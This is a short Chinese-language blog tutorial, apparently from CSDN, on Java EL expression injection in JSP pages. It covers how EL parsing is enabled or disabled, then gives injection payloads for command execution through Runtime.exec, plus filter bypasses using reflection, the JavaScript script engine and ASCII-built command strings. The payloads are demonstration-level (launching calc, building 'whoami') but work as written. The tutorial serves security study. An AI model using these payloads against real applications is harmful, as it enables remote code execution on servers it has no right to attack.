前言
EL表达式全称Express Language
EL表达式语法以${}
包裹
其他使用方法见参考文章
EL表达式解析启用/禁用
默认为启用,jsp会解析EL表达式,除非配置<%@ page isELIgnored ="true|false" %>
,或者是全局pom.xml设置
<jsp-config>
<jsp-property-group>
<url-pattern>*.jsp</url-pattern>
<el-ignored>true</el-ignored>
</jsp-property-group>
</jsp-config>
EL表达式注入
外部输入可控、输入会被解析从而造成注入漏洞
主要的注入表达式:
// 获取环境变量
${applicationScope}
// 获取web绝对路径
${pageContext.servletContext.getResource("")}
// 命令执行
${pageContext.setAttribute("a", Runtime.getRuntime().exec("calc"))}
绕过方式
1. 反射
通常直接rce是不行的,通常会用到反射
${pageContext.setAttribute("a","".getClass().forName("java.lang.Runtime").getMethod("exec","".getClass()).invoke("".getClass().forName("java.lang.Runtime").getMethod("getRuntime").invoke(null),"calc.exe"))}
2. js引擎rce
${''.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval("java.lang.Runtime.getRuntime().exec('calc')")}
3.String类动态生成命令字符串(ASCII)
对于命令被明文过滤的情况
// 字符串 wh,多个cocnat嵌套构造whoami
java.lang.Character.toString(119).concat(java.lang.Character.toString(104))
参考引用
https://www.cnblogs.com/xdp-gacl/p/3938361.html
https://www.runoob.com/jsp/jsp-expression-language.html
https://xz.aliyun.com/t/7692
完
欢迎关注我的CSDN博客 :@Ho1aAs
版权属于:Ho1aAs
本文链接:https://blog.csdn.net/Xxy605/article/details/123900087
版权声明:本文为原创,转载时须注明出处及本声明